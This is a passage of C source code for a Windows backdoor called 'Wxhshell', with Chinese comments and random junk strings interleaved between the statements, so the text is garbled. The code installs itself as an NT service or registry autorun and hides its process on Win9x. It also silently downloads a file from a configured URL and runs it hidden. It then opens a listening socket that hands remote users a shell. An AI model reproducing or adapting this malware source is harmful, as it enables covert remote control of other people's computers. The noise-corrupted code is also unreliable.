) /#yA%0=w g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DzPs!(5[I g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A/Khk2-: NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wO"GtVd i<u9:W if (!NtQueryInformationProcess) return 0; y3yvZD G[q9A$yw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0RyFv+ if(!hProcess) return 0; yx0Q+Sm1: rR!U; if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; r] t )x* F^'v{@C CloseHandle(hProcess); ?Bu}.0ku-$ F14(;'Az hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )!C7bTv 4 if(hProcess==NULL) return 0; <*YO~S(R w4{y"A HMODULE hMod; k,X74D+ char procName[255]; aqfL0Rg+` unsigned long cbNeeded; ck$2Ue2`@w l(Cf7o! if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 797X71> 5.k}{{+ CloseHandle(hProcess); S+FQa7k G&o64W;-s if(strstr(procName,"services")) return 1; // 以服务启动 z{6YC~ 2cjEex:& return 0; // 注册表启动 Bn-J_-%M } +a]j[# uMDtdC8 // 主模块 GEtbs+ [ int StartWxhshell(LPSTR lpCmdLine) pAg$oe# { d~<QAh#rG SOCKET wsl; wsfysat$ BOOL val=TRUE; /Ri,>}n int port=0; 8ath45G @ struct sockaddr_in door; NV#')+Ba <9\,QR) if(wscfg.ws_autoins) Install(); 01nsdZ- -]QguZE port=atoi(lpCmdLine); C<t RU5| Xb+3Xn0}&8 if(port<=0) port=wscfg.ws_port; (zmNa}- {{E jMBg{ WSADATA data; cDO:'- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C|$L6n>DR6 /:Y9sz uW` if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F;a3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l7Y8b` door.sin_family = AF_INET; i>"dBJh]b door.sin_addr.s_addr = inet_addr("127.0.0.1"); v?%3~XoH door.sin_port = htons(port); .M+v?Ad &Y=.D:z< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3`rIV*&_{ closesocket(wsl); eKJ:?Lxv; return 1; M,JA;a, _ } E&9!1!B leIy|K>\m if(listen(wsl,2) == INVALID_SOCKET) { a hwy_\ closesocket(wsl); XSl!T/d return 1; \kk!Dz*H } q\U4n[Zk Wxhshell(wsl); }Eb]9c\ WSACleanup(); <p)Z/ |1i]L @& return 0; |>@-grs
7&px+155 } ,$BgR2^ ;24'f-Eri // 以NT服务方式启动 -s89)lUkS VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .d
e { IW] *i?L DWORD status = 0; YJc%h@ _=] DWORD specificError = 0xfffffff; '&)D>@g m8u=u4z(" serviceStatus.dwServiceType = SERVICE_WIN32; L^jaBl serviceStatus.dwCurrentState = SERVICE_START_PENDING; Dh?vU~v(6 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W[GQ[h serviceStatus.dwWin32ExitCode = 0; X
[!X>w&z| serviceStatus.dwServiceSpecificExitCode = 0; .c: )Qli serviceStatus.dwCheckPoint = 0; rd|crD3 serviceStatus.dwWaitHint = 0; (tpof
5a e^Aa! hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %GS\1 Q% if (hServiceStatusHandle==0) return; yFi6jN#~ n_u`B|^Pj status = GetLastError(); EFwL.'Fh if (status!=NO_ERROR) W8x[3,gT { v#-E~;CcC serviceStatus.dwCurrentState = SERVICE_STOPPED; vi<X3G6Xh serviceStatus.dwCheckPoint = 0; }/49T serviceStatus.dwWaitHint = 0; ?n&$m serviceStatus.dwWin32ExitCode = status; H):-!?: serviceStatus.dwServiceSpecificExitCode = specificError; 1N>6rN SetServiceStatus(hServiceStatusHandle, &serviceStatus); `LE^:a:8, return; s{cKBau } ;*.(. AX8gij serviceStatus.dwCurrentState = SERVICE_RUNNING; >"O1`xdG serviceStatus.dwCheckPoint = 0; |&Au6 3 serviceStatus.dwWaitHint = 0; u2\+?`Ox if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); | yS5[?.` } }U(\~
=D Ou? r {$(b // 处理NT服务事件,比如:启动、停止 2q/nAQ+ VOID WINAPI NTServiceHandler(DWORD fdwControl) [\88@B=jXP { w/O<.8+ switch(fdwControl) erXy>H[; { Esb?U|F4 case SERVICE_CONTROL_STOP: 9ptZVv=O serviceStatus.dwWin32ExitCode = 0; )F
+nSV; serviceStatus.dwCurrentState = SERVICE_STOPPED; fWd~-U0M^ serviceStatus.dwCheckPoint = 0; L)1C'8). serviceStatus.dwWaitHint = 0; r7RU"H:j8 { b#Jo Xa9 SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ew>~a8!Fq } Oq[i & return; 9e-*JYF]C case SERVICE_CONTROL_PAUSE: u>81dO]H serviceStatus.dwCurrentState = SERVICE_PAUSED; xJN |w\& break; 'N*!>mZ<
case SERVICE_CONTROL_CONTINUE: UBL(N r serviceStatus.dwCurrentState = SERVICE_RUNNING; IvFR <n break; NoJUx['6 case SERVICE_CONTROL_INTERROGATE: I Jqv w break; 692Rw}/ }; &3WkH W SetServiceStatus(hServiceStatusHandle, &serviceStatus); @l)\?IEF@f } (rAiDRQ[ )\D2\1e(c // 标准应用程序主函数 uXjoGcW int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k{?!O\yY { FPvuzBJ (%6(5,
// 获取操作系统版本 Z@;jIH4 ( OsIsNt=GetOsVer(); \>4v?\8o GetModuleFileName(NULL,ExeFile,MAX_PATH); Akv(} !g /SbSID_a // 从命令行安装 {ms,q_Zr if(strpbrk(lpCmdLine,"iI")) Install(); @k_Jl>X V+peO // 下载执行文件 p(~Y"
H if(wscfg.ws_downexe) { yI3Q |731) if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]cn/(U` WinExec(wscfg.ws_filenam,SW_HIDE); Fq vQk } t8t}7XD
A<mj8qz if(!OsIsNt) { o`b$^hv{A // 如果时win9x,隐藏进程并且设置为注册表启动 &t~zD4u B HideProc(); <9ePi9D( StartWxhshell(lpCmdLine); hU 9\y } 1RCXc>}/ else lr-12-D%- if(StartFromService()) umZlIH[7 // 以服务方式启动 di"C]" ; StartServiceCtrlDispatcher(DispatchTable); Tld1P69( else P{"WlJ // 普通方式启动 0[V&8\S~'T StartWxhshell(lpCmdLine); (m<R0 .=>\Qq% return 0; yJF 2 }
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